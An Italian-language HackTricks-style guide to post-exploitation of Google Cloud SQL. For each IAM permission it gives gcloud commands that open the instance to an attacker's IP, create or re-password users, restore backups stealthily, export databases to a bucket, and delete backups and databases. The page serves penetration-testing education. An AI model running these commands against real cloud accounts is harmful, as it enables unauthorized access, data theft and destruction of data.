# GCP - Cloud SQL Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud SQL

Per maggiori informazioni su Cloud SQL consulta:

{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
{{#endref}}

### `cloudsql.instances.update`, ( `cloudsql.instances.get`)

Per connettersi ai database è necessario **soltanto avere accesso alla porta del database** e conoscere il **username** e la **password**, non ci sono requisiti IAM. Quindi, un modo semplice per ottenere accesso, supponendo che il database abbia un indirizzo IP pubblico, è aggiornare le reti consentite e **permettere al proprio indirizzo IP di accedervi**.

<details>

<summary>Consenti il tuo IP e connettiti al database</summary>
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
</details>

È anche possibile usare **`--no-backup`** per **interrompere i backup** del database.

Essendo questi i requisiti, non sono completamente sicuro a cosa servano le autorizzazioni **`cloudsql.instances.connect`** e **`cloudsql.instances.login`**. Se lo sai, invia una PR!

### `cloudsql.users.list`

Ottieni una **lista di tutti gli utenti** del database:

<details>

<summary>Elenca gli utenti del database</summary>
```bash
gcloud sql users list --instance <intance-name>
```
</details>

### `cloudsql.users.create`

Questa autorizzazione consente di **creare un nuovo utente all'interno** del database:

<details>

<summary>Crea un utente del database</summary>
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
</details>

### `cloudsql.users.update`

Questo permesso consente di **aggiornare un utente all'interno** del database. Ad esempio, potresti cambiarne la password:

<details>

<summary>Aggiorna la password dell'utente</summary>
```bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>
```
</details>

### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`

I backup potrebbero contenere **informazioni sensibili datate**, quindi è interessante verificarli.\
**Ripristina un backup** all'interno di un database:

<details>

<summary>Ripristina backup del database</summary>
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
</details>

Per farlo in modo più furtivo è consigliato creare una nuova istanza SQL e recuperare i dati lì invece che nei database attualmente in esecuzione.

### `cloudsql.backupRuns.delete`

Questa autorizzazione consente di cancellare backup:

<details>

<summary>Elimina backup</summary>
```bash
gcloud sql backups delete <backup-id> --instance <instance-id>
```
</details>

### `cloudsql.instances.export`, `storage.objects.create`

**Esporta un database in un Cloud Storage Bucket in modo da potervi accedere da lì:**

<details>

<summary>Esporta il database nel bucket</summary>
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
</details>

### `cloudsql.instances.import`, `storage.objects.get`

**Importa un database** (sovrascrivendo) da un Cloud Storage Bucket:

<details>

<summary>Importa database dal bucket</summary>
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
```
</details>

### `cloudsql.databases.delete`

Elimina un database dall'istanza db:

<details>

<summary>Elimina database</summary>
```bash
gcloud sql databases delete <db-name> --instance <instance-id>
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
